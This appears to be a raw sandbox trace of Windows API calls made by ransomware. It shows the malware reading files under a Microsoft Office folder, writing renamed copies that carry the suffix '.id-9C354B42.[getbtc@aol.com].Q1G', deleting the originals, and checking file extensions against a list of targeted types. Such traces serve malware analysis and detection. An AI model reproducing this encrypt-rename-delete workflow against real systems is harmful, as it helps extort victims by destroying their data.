0x20 [0261.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.278] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.278] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.304] GetLastError () returned 0x0 [0261.304] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xcb98, lpOverlapped=0x0) returned 1 [0261.374] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xcba0, lpOverlapped=0x0) returned 1 [0261.375] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.375] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0261.375] SetEndOfFile (hFile=0x1bc) returned 1 [0261.375] CloseHandle (hObject=0x1bc) returned 1 [0261.376] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.376] SetEndOfFile (hFile=0x1c0) returned 1 [0261.378] CloseHandle (hObject=0x1c0) returned 1 [0261.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 1 [0261.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.380] lstrlenW (lpString=".doc") returned 4 [0261.380] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0261.380] lstrlenW (lpString=".docx") returned 5 [0261.380] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1 [0261.380] lstrlenW (lpString=".pdf") returned 4 [0261.380] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0261.380] lstrlenW (lpString=".xls") returned 4 [0261.380] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0261.380] lstrlenW (lpString=".xlsx") returned 5 [0261.380] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1 [0261.380] lstrlenW (lpString=".ppt") returned 4 [0261.380] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0261.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.380] lstrlenW (lpString=".zip") returned 4 [0261.380] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0261.380] lstrlenW (lpString=".rar") returned 4 [0261.380] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0261.380] lstrlenW (lpString=".bz2") returned 4 [0261.380] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0261.380] lstrlenW (lpString=".7z") returned 3 [0261.380] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0261.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.380] lstrlenW (lpString=".dbf") returned 4 [0261.380] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0261.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.380] lstrlenW (lpString=".1cd") returned 4 [0261.380] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0261.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.380] lstrlenW (lpString=".jpg") returned 4 [0261.381] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0261.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.381] lstrlenW (lpString=".doc") returned 4 [0261.381] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0261.381] lstrlenW (lpString=".docx") returned 5 [0261.381] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1 [0261.381] lstrlenW (lpString=".pdf") returned 4 [0261.381] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0261.381] lstrlenW (lpString=".xls") returned 4 [0261.381] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0261.381] lstrlenW (lpString=".xlsx") returned 5 [0261.381] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1 [0261.381] lstrlenW (lpString=".ppt") returned 4 [0261.381] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0261.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.381] lstrlenW (lpString=".zip") returned 4 [0261.381] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0261.381] lstrlenW (lpString=".rar") returned 4 [0261.381] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0261.381] lstrlenW (lpString=".bz2") returned 4 [0261.381] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0261.381] lstrlenW (lpString=".7z") returned 3 [0261.381] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0261.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.381] lstrlenW (lpString=".dbf") returned 4 [0261.381] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0261.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.381] lstrlenW (lpString=".1cd") returned 4 [0261.381] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0261.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0261.381] lstrlenW (lpString=".jpg") returned 4 [0261.381] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0261.382] lstrcmpiW (lpString1=".manifest", lpString2=".Q1G") returned -1 [0261.382] lstrlenW (lpString="excel.exe.manifest") returned 18 [0261.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.382] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1196) returned 1 [0261.382] CloseHandle (hObject=0x1c0) returned 1 [0261.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 0x20 [0261.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.383] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.383] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.383] GetLastError () returned 0x0 [0261.383] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x4ac, lpOverlapped=0x0) returned 1 [0261.388] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0261.389] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.389] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0261.389] SetEndOfFile (hFile=0x1bc) returned 1 [0261.389] CloseHandle (hObject=0x1bc) returned 1 [0261.389] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.389] SetEndOfFile (hFile=0x1c0) returned 1 [0261.391] CloseHandle (hObject=0x1c0) returned 1 [0261.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 1 [0261.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.392] lstrlenW (lpString=".doc") returned 4 [0261.392] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0261.392] lstrlenW (lpString=".docx") returned 5 [0261.392] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0261.392] lstrlenW (lpString=".pdf") returned 4 [0261.392] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0261.392] lstrlenW (lpString=".xls") returned 4 [0261.392] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0261.392] lstrlenW (lpString=".xlsx") returned 5 [0261.392] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0261.392] lstrlenW (lpString=".ppt") returned 4 [0261.392] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.393] lstrlenW (lpString=".zip") returned 4 [0261.393] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString=".rar") returned 4 [0261.393] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString=".bz2") returned 4 [0261.393] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString=".7z") returned 3 [0261.393] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0261.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.393] lstrlenW (lpString=".dbf") returned 4 [0261.393] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.393] lstrlenW (lpString=".1cd") returned 4 [0261.393] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.393] lstrlenW (lpString=".jpg") returned 4 [0261.393] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.393] lstrlenW (lpString=".doc") returned 4 [0261.393] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString=".docx") returned 5 [0261.393] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0261.393] lstrlenW (lpString=".pdf") returned 4 [0261.393] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString=".xls") returned 4 [0261.393] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString=".xlsx") returned 5 [0261.393] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0261.393] lstrlenW (lpString=".ppt") returned 4 [0261.393] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0261.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.393] lstrlenW (lpString=".zip") returned 4 [0261.393] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0261.394] lstrlenW (lpString=".rar") returned 4 [0261.394] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0261.394] lstrlenW (lpString=".bz2") returned 4 [0261.394] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0261.394] lstrlenW (lpString=".7z") returned 3 [0261.394] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0261.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.394] lstrlenW (lpString=".dbf") returned 4 [0261.394] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0261.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.394] lstrlenW (lpString=".1cd") returned 4 [0261.394] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0261.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0261.394] lstrlenW (lpString=".jpg") returned 4 [0261.394] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0261.394] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0261.394] lstrlenW (lpString="excelcnv.exe") returned 12 [0261.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.399] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=24994656) returned 1 [0261.399] CloseHandle (hObject=0x37c) returned 1 [0261.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe")) returned 0x20 [0261.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.400] lstrlenW (lpString=".doc") returned 4 [0261.400] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0261.400] lstrlenW (lpString=".docx") returned 5 [0261.400] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0261.400] lstrlenW (lpString=".pdf") returned 4 [0261.400] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0261.400] lstrlenW (lpString=".xls") returned 4 [0261.400] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0261.400] lstrlenW (lpString=".xlsx") returned 5 [0261.400] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0261.400] lstrlenW (lpString=".ppt") returned 4 [0261.400] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.400] lstrlenW (lpString=".zip") returned 4 [0261.400] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0261.400] lstrlenW (lpString=".rar") returned 4 [0261.400] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0261.400] lstrlenW (lpString=".bz2") returned 4 [0261.400] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0261.400] lstrlenW (lpString=".7z") returned 3 [0261.400] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.400] lstrlenW (lpString=".dbf") returned 4 [0261.400] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.400] lstrlenW (lpString=".1cd") returned 4 [0261.400] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.400] lstrlenW (lpString=".jpg") returned 4 [0261.400] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.400] lstrlenW (lpString=".doc") returned 4 [0261.401] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0261.401] lstrlenW (lpString=".docx") returned 5 [0261.401] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0261.401] lstrlenW (lpString=".pdf") returned 4 [0261.401] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0261.401] lstrlenW (lpString=".xls") returned 4 [0261.401] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0261.401] lstrlenW (lpString=".xlsx") returned 5 [0261.401] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0261.401] lstrlenW (lpString=".ppt") returned 4 [0261.401] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0261.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.401] lstrlenW (lpString=".zip") returned 4 [0261.401] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0261.401] lstrlenW (lpString=".rar") returned 4 [0261.401] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0261.401] lstrlenW (lpString=".bz2") returned 4 [0261.401] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0261.401] lstrlenW (lpString=".7z") returned 3 [0261.401] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0261.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.401] lstrlenW (lpString=".dbf") returned 4 [0261.401] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0261.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.401] lstrlenW (lpString=".1cd") returned 4 [0261.401] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0261.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0261.401] lstrlenW (lpString=".jpg") returned 4 [0261.401] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0261.401] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0261.401] lstrlenW (lpString="excelcnvpxy.dll") returned 15 [0261.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.403] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=48480) returned 1 [0261.403] CloseHandle (hObject=0x37c) returned 1 [0261.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll")) returned 0x20 [0261.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.403] lstrlenW (lpString=".doc") returned 4 [0261.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0261.403] lstrlenW (lpString=".docx") returned 5 [0261.403] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0261.403] lstrlenW (lpString=".pdf") returned 4 [0261.403] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0261.403] lstrlenW (lpString=".xls") returned 4 [0261.403] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0261.403] lstrlenW (lpString=".xlsx") returned 5 [0261.403] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0261.403] lstrlenW (lpString=".ppt") returned 4 [0261.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0261.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.403] lstrlenW (lpString=".zip") returned 4 [0261.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString=".rar") returned 4 [0261.404] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString=".bz2") returned 4 [0261.404] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0261.404] lstrlenW (lpString=".7z") returned 3 [0261.404] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.404] lstrlenW (lpString=".dbf") returned 4 [0261.404] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.404] lstrlenW (lpString=".1cd") returned 4 [0261.404] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.404] lstrlenW (lpString=".jpg") returned 4 [0261.404] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.404] lstrlenW (lpString=".doc") returned 4 [0261.404] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString=".docx") returned 5 [0261.404] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0261.404] lstrlenW (lpString=".pdf") returned 4 [0261.404] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString=".xls") returned 4 [0261.404] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString=".xlsx") returned 5 [0261.404] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0261.404] lstrlenW (lpString=".ppt") returned 4 [0261.404] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.404] lstrlenW (lpString=".zip") returned 4 [0261.404] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString=".rar") returned 4 [0261.404] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0261.404] lstrlenW (lpString=".bz2") returned 4 [0261.405] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0261.405] lstrlenW (lpString=".7z") returned 3 [0261.405] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") 